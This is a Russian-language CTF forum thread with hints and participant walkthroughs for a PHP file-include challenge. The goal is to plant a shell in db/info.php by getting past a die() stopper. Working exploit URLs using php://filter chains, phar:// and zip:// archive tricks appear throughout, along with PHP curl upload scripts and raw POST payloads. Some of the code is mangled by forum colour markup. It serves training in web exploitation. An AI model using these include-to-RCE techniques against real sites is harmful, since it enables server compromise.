ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   Task #7 (https://forum.antichat.io/showthread.php?t=470693)

dooble 18.05.2019 19:30

Таск запускался в группах в 2013 году.

На тот момент это была новая тема, которая, впрочем, работает и сейчас и мы уже слегка касались ее, поэтому трудностей быть не должно.

Задание:

По адресу http://task7.antichat.com/работают скрипты (исходники приаттачены к посту).

Нужно "залить шелл" в файл db/info.php и выполнить код phpinfo().

Сроки:

Две недели.

Есть несколько способов решения данной задачи.

На Античате известно 2 способа, на рдоте нашли 3.

Соответственно ответы принимаются только от тех, кто пока не видит эти решения, ориентировочно это паблик и lvl8.

Первый способ очень простой, скорее всего найдут все и влет, там несколько вариантов.

Второй чуть сложнее в реализации.

Третий почти не известен и не используется, но он нам очень пригодится в дальнейшем, собственно это одна из причин, почему запускается задание.

Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде.

Флагов нет, присылайте решения в ПМ форума, для каждого способа.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.


Прошли:

=HALK=1,2,3

topthing1,2, 3

giloo1,2, 3

Gorbachev1,2,3

nix_security1,2, 3

BenderMR1,2, 3

manfromkz1, 2, 3

danilkib95 1, 2, 3

IvanV1, 2, 3

Раrаdох1, 2, 3


Прохождения



Тот_самый_Щуп 19.05.2019 00:04

Маленькое уточнение, хоть один из способов решения так или иначе в паблике фигугирует, или предполагается самостоятельно копнуть код, и найти этот байпасс\байпассы?

dooble 19.05.2019 07:31

Цитата:

Сообщение от Gorbachev

Маленькое уточнение, хоть один из способов решения так или иначе в паблике фигугирует, или предполагается самостоятельно копнуть код, и найти этот байпасс\байпассы?

Первый способ описан в паблике давно и достаточно хорошо, не требует дополнительных инструментов, используется только интерфейс скриптов и браузер.

С телефона можно решить.

Второй способ (ровно ровесник этого задания) уже требует написать несколько строчек кода, но способ (механизм) уже широко известный и в одном из заданий мы уже ковыряли его. На ачате в паблике есть рыба для такого скрипта.

Третий способ описан на некотором начальном уровне (и он постарше второго), используется аналогично, но реализацию нужно найти самому (тоже писать небольшой скрипт).

Сканеры и брут бесполезны.

Плясать, конечно, нужно от кода.

Это чисто уязвимость скриптов, а точнее конструкции db/info.php.

Нужно обойти стоппер



и выполнить код, который можно поместить после него.

giloo 20.05.2019 17:51

Цитата:

Сообщение от dooble

Нужно обойти стоппер

и выполнить код, который можно поместить после него.

Зачем такие явные подсказки?) Это же ломает весь дух

П.С. я ток додумалась про какой именно стоппер шла речь запустив у себя на виртулке(до последнего думала что проблема в несказанном .htaccess). А тут уже это

dooble 20.05.2019 18:27

Цитата:

Сообщение от giloo

Зачем такие явные подсказки?) Это же ломает весь дух
П.С. я ток додумалась про какой именно стоппер шла речь запустив у себя на виртулке(до последнего думала что проблема в несказанном .htaccess). А тут уже это

Первый способ очень простой, делается влет.

Пока ни одного ответа, ни одной попытки в нужную сторону.

Впереди работы намного больше, чем догадаться "что же такое - стоппер".

Когда есть дух - хорошо, так и должно быть и он так просто не сломается.

Удачи.

Тот_самый_Щуп 20.05.2019 19:24

Цитата:

Сообщение от dooble

Пока ни одного ответа, ни одной попытки в нужную сторону.

А эти попытки должны быть? Может я чего то не понимаю, ковыряю у себя на локалхосте, результаты работы вы всё равно не увидите пока я их не пришлю в ЛС (если хакерского духу хватит )) )

А пока да, народ слабоват... Нету среди хакеров (ROA >) пока что богатырей.

dooble 21.05.2019 08:42

Цитата:

Сообщение от Gorbachev

Нету среди хакеров (ROA >) пока что богатырей.

Есть.

Но они давно богатыри и не одну битву выиграли.

Намахались уже, просто так за оружие не хватаются.

Видимо наша очередь расправить плечи.

giloo 21.05.2019 09:44

Цитата:

Сообщение от dooble

Видимо наша очередь расправить плечи.

Только без подсказок пожалуйста)

Тот_самый_Щуп 21.05.2019 09:56

Цитата:

Сообщение от giloo

Только без подсказок пожалуйста)

А ты вывезешь, без подсказок то?

Что то тебя в списке богатырей не наблюдаю

giloo 21.05.2019 10:32

Цитата:

Сообщение от Gorbachev

Что то тебя в списке богатырей не наблюдаю

ой все, не флудим

dooble 21.05.2019 19:16

Кто обошелся без хинтов - молодец.

Кому нужна небольшая помощь, она подоспела, осторожно - спойлер.

.SpoilerTarget" type="button">Spoiler: Хинт
Есть такая интересная тема, как врапперы.

Вроде известна давно, можно найти статьи с примерами, кое-что и сами умеем с ними делать, а вот уверенности, что все уже про них расковыряли - нет.

Иногда их применение дает почти волшебный эффект.

Первый способ использует обертку php://.

giloo 21.05.2019 21:18

Ураааа))) Я смогла) Без подсказок)

giloo 21.05.2019 21:24

Цитата:

Сообщение от Gorbachev

Что то тебя в списке богатырей не наблюдаю

беее))))

dooble 22.05.2019 08:32

Так, сдвинулись с места.

И даже зарешали второй способ.

У третьего способа есть несколько вариантов реализации, пока в зачет пойдет любой из них.

===

И да, подсказка

Цитата:

Сообщение от dooble

Нужно обойти стоппер



и выполнить код, который можно поместить после него.


сработала в минус для некоторых, попробую переформулировать.

Нет способа обойти стоппер, когда вызываем http://task.antichat.com:10007/db/info.php

но нас никто и не заставляет выполнить скрипт именно так.

giloo 22.05.2019 13:48

Цитата:

Сообщение от Gorbachev

Что то тебя в списке богатырей не наблюдаю

Второй способ найден) Как дела?

Тот_самый_Щуп 22.05.2019 14:33

ой все, не флудим ©

Цитата:

Сообщение от giloo

Второй способ найден) Как дела?

Не напоминай...

dooble 23.05.2019 16:06

По первому способу.

.SpoilerTarget" type="button">Spoiler: Не хинт, а грубая подсказка
Враппер php:// практически разжеван в нужном объеме в одной из старых статей журнала Хакер.

Просто прочитай и выполни.

dooble 24.05.2019 10:45

На рдоте задание запускалось с залоченным способом php://

поскольку слишком просто.

Нам будет тяжело двигаться дальше, если будем застревать на таких задачках.

Давайте попробуем вместе посмотреть, что тут может быть сложного.

Есть инклюд файла, в который можем писать произвольную информацию

Код:

if (isset($_GET['page'])){
    if (validate($_GET['page'])) include($_GET['page']);

И это RFI, т.е. можем применять различные обертки (врапперы).

Http://, https:/, ftp:// и ftps:// запрещены функцией validate(), но список поддерживаемых врапперов у php гораздо шире.

Пробуем работать с оберткой php://, просто потому, что она умеет работать с фильтрами, а мы умеем применять ее в инклюдах для чтения содержимого скриптов.

Именно способность фильтровать потоки на чтение и запись нам и нужна.

Т.е. считанный файл и он же, но обработанный некоторым фильтром (или последовательностью фильтров), уже будут содержать различающуюся информацию и этим можно манипулировать.

А штатных фильтров, работающих с php:// достаточно, чтобы составить несколько вариантов RCE.

Ну и не забываем выполнить требование валидатора

Код:

$rules = Array(
        'login.php' => OK,
        'view.php' => OK
    );


dooble 25.05.2019 22:33

Следующая подсказка.

Решения основаны на врапперах:

1 - php://

2 - phar://

3 - zip://

Первые два способа довольно очевидны, штатное использование возможностей.

Как приготовить zip - архив, нужно догадаться, хотя существует читерский вариант, он тоже будет приниматься в зачет, но его ценность невелика.

dooble 27.05.2019 09:00

В этом задании можно отловить для себя сразу две пользы.

Во-первых, это базовые вещи, их нужно просто знать.

Во-вторых, когда ты их нашел сам, а не просто прочитал решение - они становятся "невырубово" базовыми.

Ну и бонусом прокачивается хакерская догадка и поиск вспомогательного материала.

И вот интересно, вообще то, что открыл, нашел сам - является более качественным материалом и фундаментом твоих знаний, чем та же информация, но полученная как готовые результаты работы других людей.

dooble 01.06.2019 13:35

Прохождение.

Первый способ - враппер php://.

Заходим login: password = 1:1 и смотрим,

есть инклюд файла, в который можем писать произвольную информацию.

Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php").

Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано.

Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда.

Например:

Энкодим base64_encode('');

и полученную строку

Код:

PD9waHAgcGhwaW5mbygpOz8+
отсылаем прям через форму отправки исследуемых скриптов.

При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки.

"login.php" или "view.php" можно добавить в запрос одним из следующих способов:

Код:

index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php

Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера.

Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13.

Второй способ основан на использовании архивов phar.

Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки.

Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер.

Он станет частью архива, но при вызове не будет интерпретироваться.

Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, .

Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "\n" и получим ошибку "SHA1 signature could not be verified:".

Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность.

Код:

Вызываем
http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php

Код:

';
$stopper="\n";
$local_path_to_archive="/tmp/in.phar";
$url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
$url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php";

@unlink($local_path_to_archive);
$p = new Phar($local_path_to_archive);
$p->setStub($stopper."");
$p['view.php'] = $evil_code;
$a=implode(array_slice(file($local_path_to_archive), 1));
if( $curl = curl_init() ) {
    curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, array(
        'data' => $a,
        'Save' => 'Save'
    ));
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    curl_close($curl);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
    curl_setopt($curl, CURLOPT_HEADER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
} else echo "Curl not installed";

Третий способ - архив zip.

В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер.

Тестим и приходим к выводу,

Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности.

В имени файла можно использовать и проблемные символы, в т.ч. и слеш.

Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому.

Код:

$p,
        'Save' => 'Save'
        ));
    curl_setopt($curl, CURLOPT_HEADER, false);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    curl_close($curl);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
} else echo "Curl not installed";

function getshell(){
    $evil_code='';
    $header="\n";
    $local_path_to_archive="/tmp/test.zip";
    $inc_file="/tmp/test.php";

    @unlink($local_path_to_archive);
    file_put_contents($inc_file,$evil_code);
    $zip = new ZipArchive();
    if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
        exit("could not open file $local_path_to_archive\n");
    }
    $zip->addFromString($header,"");
    $zip->addFile($inc_file,"/tmp/view.php");
    $zip->close();
    @unlink($inc_file);
    $r=preg_replace("/\n/si", "", file_get_contents($local_path_to_archive),1);

    return $r;
}

Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip

Код:

$zip = $p->convertToData(Phar::ZIP);
.SpoilerTarget" type="button">Spoiler: Прохождения участников:

Цитата:

Сообщение от =HALK=

1. дописываем в файл код в base64
PD9waHAgcGhwaW5mbygpPz4g
2. инклюдим используя фильтры:
http://task.antichat.com:10007/index.php?page=php://filter/login.php|string.strip_tags|convert.base64-decode/resource=db/info.php

Цитата:

Сообщение от =HALK=

1. Генерируем пейлод
Код:

\n";
@unlink("t.phar");
$phar = new Phar("t.phar");
$phar->startBuffering();
$phar->addFromString("login.php","");
$phar->setStub($stopper."__HALT_COMPILER(); ?>");
$phar->stopBuffering();
echo urlencode(file_get_contents("t.phar",FALSE, NULL, strlen($stopper)));

2. Загружаем его на сервер
Код:

POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 304

data=__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A7%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00login.php%11%00%00%00%85%A9%E4%5C%11%00%00%00%05d%1C%D7%B6%01%00%00%00%00%00%00%3C%3Fphp+phpinfo%28%29%3F%3E%12%1E%F8c%A2O%C3%5C%FF%2A%13%C4%F9%89%E5%8Dz%0Er%23%02%00%00%00GBMB&Save=Save

3. Инклюдим код
http://task.antichat.com:10007/index....php/login.php

Цитата:

Сообщение от =HALK=

1. Тупо руками создал zip архив и в редакторе его подправил
(писать скрипт для генерации сейчас нет времени)
2. Загружаем данные на сервер
Код:

POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 707

data=nfo.php%3C%3Fphp+die%28%27Access+denied%27%29%3B+%3F%3E%0A1PK%03%04%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%00%00login.php%3C%3Fphp+phpinfo%28%29%3F%3EPK%01%02%3F%00%0A%00%00%00%00%00%13%28%B6Np4hE+%00%00%00+%00%00%00%08%00%24%00%00%00%00%00%00%00+%00%00%00%00%00%00%00info.php%0A%00+%00%00%00%00%00%01%00%18%00R%EE%93%25B%10%D5%01%80%84%F1%CBi%0C%D5%01%DF%A4Iyj%0C%D5%01PK%01%02%3F%00%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%24%00%00%00%00%00%00%00+%00%00%00F%00%00%00login.php%0A%00+%00%00%00%00%00%01%00%18%00%CA%98%0A%F7B%10%D5%01%00u%CD%E2B%10%D5%01%00u%CD%E2B%10%D5%01PK%05%06%00%00%00%00%02%00%02%00%B5%00%00%00%7E%00%00%00%00%00&Save=Save

3. Инклюдим код
http://task.antichat.com:10007/index...hp%23login.php

Цитата:

Сообщение от Gorbachev

Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php
Ну и в файл соответственно =3C=3Fphp phpinfo();

Цитата:

Сообщение от Gorbachev

Пошагово:
1) сначала создаем валидный рабочий архив:
Код:

$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';

На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:

$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);

3) грузим его на файл view.php
Код:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);

4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php

Цитата:

Сообщение от Gorbachev

Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php
Ну и в файл соответственно =3C=3Fphp phpinfo();

Цитата:

Сообщение от Gorbachev

Пока не могу врубиться почему по адресу:
http://task.antichat.com:10007/index....php/login.php
он не выполняется.
У меня на локалке отрабатывает. Пошагово:
1) сначала создаем валидный рабочий архив:
Код:

$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';

На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:

$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);

3) грузим его на файл view.php
Код:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);

4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php
и ничего не выполняется...
Но при этом выполняется на локалхосте, если делаю пошагово тоже самое.
Чутка позже буду разбираться что там не так.

Цитата:

Сообщение от Gorbachev

Зарешал zip. Но я так понял, я читерский вариант нашёл.
Пошагово:
Создаем ZIP архив с нужным содержимым, и модифицируем его под наши реалии:
Код:

$zipa = dirname($_SERVER['SCRIPT_FILENAME']).'/zip.zip';
$zip = new ZipArchive;
 if ($zip->open($zipa,1)){
  $zip->addFromString( '/test/view.php','' );
 }
$zip->close();

    $fds = file_get_contents($zipa);
    $fd = fopen($zipa, "w+");
    $text = "\n".$fds;
    fwrite($fd, $text);
    fclose($fd);

Далее, в линуксовой консоли делаем восстановление полученного архива командой:
zip -F zip.zip --out newzip.zip
После чего скриптом его модифицируем, и отправляем куда надо:
Код:

$filea = file_get_contents('newzip.zip');
$file = str_replace("\n",'',$filea);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);

Ну а далее, через тот же курл ссылаемся:
http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php#/test/view.php
Видим phpinfo();

Цитата:

Сообщение от Раrаdох

Добрый день.
Присылаю вам решение (способ
№1
) Task #7 (
/threads/470693/
):
1. Переходим по адресу:
Код:

/index.php?page=view.php
2. Вставляем в textarea:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3C[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3Fphp phpinfo[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR

И жмем "Save".
3. Переходим по адресу:
Код:

/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
4. Наблюдаем выполненное задание:
https://habrastorage.org/webt/ao/td/...janw0zovom.png
// Что произошло? Ровно следующее:
В п.2 записали в файл php код в quoted-printable формате (перед этим туда система записывает константную строку с die (
view.php:5
), затем сделали include данного файла с помощью php wrapper, где с помощью фильтра удалили php код с die, и впоследствии в пайплайне декодировали quoted-printable с нужным нам кодом.
Удачного дня!

Цитата:

Сообщение от Раrаdох

Добрый вечер
Присылаю решение Task #7 способом №2 (через
phar
wrapper).
Схема такова
: мы помним, что можем писать в файл
./db/info.php
(с помощью отправки POST данных на скрипт
./view.php
), но также не забываем и о том, что оный скрипт конкатенирует
слева
наши данные со следующими:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR]\n[/COLOR

Благо, что
phar
архивы так устроены, что в шапку искомого можно положить некоторую полезную информацию, лишь бы потом хеш-сумма файла была верной. Тогда оптимальным решением будет положить туда эти самые строки (которые дописывает скрипт), создать архив, выдернуть их оттуда с помощью любого hex-редактора, и отправить на сервер. Дальше дело техники - открыть архив с нужным файлом и выполнить задание.
Итак, шаги следующие:
  1. Создаем phar архив с помощью интерпретатора PHP:

    PHP код:

    [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"]();
    [/
    COLOR][COLOR="#FF8000"]// Создаем файл view.php, чтобы затем обойти проверки скрипта на содержание такого текста в GET переменной `page`.
    [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
    class[/
    COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"]{}
    [/
    COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"];
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setMetadata[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]);
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();
    [/
    COLOR][COLOR="#0000BB"]?>
    [/COLOR][/COLOR] 

  2. Открываем его с помощью hex-редактора и удаляем строки, которые вставит скрипт при загрузке файла. Получится примерно такая история:

    https://habrastorage.org/webt/rf/6x/...oy0-aalrj0.png
  3. Загружаем это на сайт с помощью скрипта ./view.php аналогично способу №1 для задачи (с той лишь разницей, что грузим бинарные данные, так что будем отсылать POST запрос вручную с предварительно обработанным через urlencode() урезанным архивом).
  4. Переходим по адресу:

    Код:

    /index.php?page=phar://db/info.php/view.php
    И видим нужный нам результат:

    https://habrastorage.org/webt/gz/pm/...sxzknhlkzo.png
На этом задача завершена.

Цитата:

Сообщение от Раrаdох

Доброе утро
Отменяю свою просьбу выше, т.к. успел.
Присылаю решение 3-го способа решения таска.
Сразу оговорюсь, что методику приготовления архива я выяснил исключительно экспериментально возясь с архивами и почитывая спецификацию, так что я не уверен что она будет совпадать с вашей.
Итак:
  1. Создаем на локальной машине файл view.php (такое название обязательно дабы впоследствии обойти защиту на присутствии этого текста в запросе), туда пихаем php-скрипт:

    PHP код:

    [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

  2. Там же создаем файл с любым названием и любым содержанием (делать файл большого размера нет большого смысла). Например, abc.txt с содержанием:

    Код:

    foo
  3. Архивируем это в zip-архив без сжатия, притом (!) выбирая сначала файл view.php, а уже потом второй (это потому что в архив они попадают в обратном порядке, и нам надо чтобы полезная нагрузка оказалась снизу (если потом открыть архив через hex-редактор). Если делаете архив с помощью кода, то на этот момент можно не обращать внимания).
  4. Открываем полученный архив в любом hex-редакторе, и дублируем всё содержимое файла в самого себя (чтобы из "ABC" получилось "ABCABC").
  5. Ищем в самом конце файла сигнатуру (всегда будет такая по спецификации) архива 50 4B, выглядит так:

    https://habrastorage.org/webt/r5/jt/...bejpswiz8w.png
  6. И без зазрения совести портим первый байт, можем заменить на 00или на что угодно, кроме исходного варианта.
  7. Теперь можем смело заменять хедер архива чем угодно по меньшей мере мере вплоть до очередной сигнатуры 50 4B(можно и дальше если сильно надо будет), т.е. эту часть:

    https://habrastorage.org/webt/uu/ta/...j0cfisxmwm.png

    В нашем случае должно получиться примерно так (0A это \n):

    https://habrastorage.org/webt/lp/os/...4ocpobwabg.png
  8. Сохраняем и проверяем что архив нормально открывается (желательно прямо средствами соотв. php-wrapper'а).
  9. Теперь, как и в "способе №2", удаляем строки, которые вставит скрипт при загрузке файла из архива, и загружаем на сайт (опять же аналогично второму способу).
  10. Задача решена:

    https://habrastorage.org/webt/j3/1w/...meutjccadm.png
// Стоит отметить, что не обязательно руками через hex-редактор делать все операции, можно автоматизировать в общем виде с помощью самописного скрипта, но в рамках данной задачи без надобности.

Цитата:

Сообщение от Раrаdох

Ещё добавлю, что метод работает благодаря особенностям
помехоустойчивого кодирования
zip-архивов, и что файл-пустышка (напр.: abc.txt) будет испорчен для открывания.

Цитата:

Сообщение от giloo

Приветик)
Не думала что сумею)))))
Сначала кодируем через rot13 нашу строчку:

получаем:

Дальше бежим сюда и обходим фильтры через "пхп фильтры))":
http://task.antichat.com:10007/inde...r|string.rot13|\view.php/resource=db/info.php
Я смогла!!!))))))

Цитата:

Сообщение от giloo

Второй способ найден!
Для этого сначала нужно создать phar архив из директории в которой есть допустим view.php с нашим шеллом вот так:
Код:

setStub('\n');*/
  $archive->setStub("\n".'\n');
    $archive->buildFromDirectory($folder_to_compress,'');
?>

Обязательно в стаб нужно добавить тот код который присутствует в db/info.php что-бы не было инклуд не ругался на верификацию SHA1.
Из полученного архива убираем "\n" хекс редактором и весь бинарный результат кодируем в url.
Нагрузку шлем в такск, бежим по адресу
http://task.antichat.com:10007/index...o.php/view.php
и радуемся)))
Надеюсь ничего не пропустила)

Цитата:

Сообщение от topthing

Код:

=3C=3Fphp phpinfo();
Код:

http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode/login.php/resource=db/info.php

Цитата:

Сообщение от topthing

Код:

//PD9waHAgcGhwaW5mbygpOw
Код:

http://task.antichat.com:10007/index.php?page=php://filter/read=convert.base64-decode/login.php/resource=db/info.php

Цитата:

Сообщение от topthing

Через PHAR
Скрипт
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://task.antichat.com:10007/index.php?page=view.php'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/tmp/app.phar'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
login.php'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
--------------------------'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_context_create[/COLOR][COLOR="#007700"]([
[/COLOR][COLOR="#DD0000"]'
http'[/COLOR][COLOR="#007700"]=> [
[/COLOR][COLOR="#DD0000"]'
method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'
header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-Type: multipart/form-data; boundary='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'
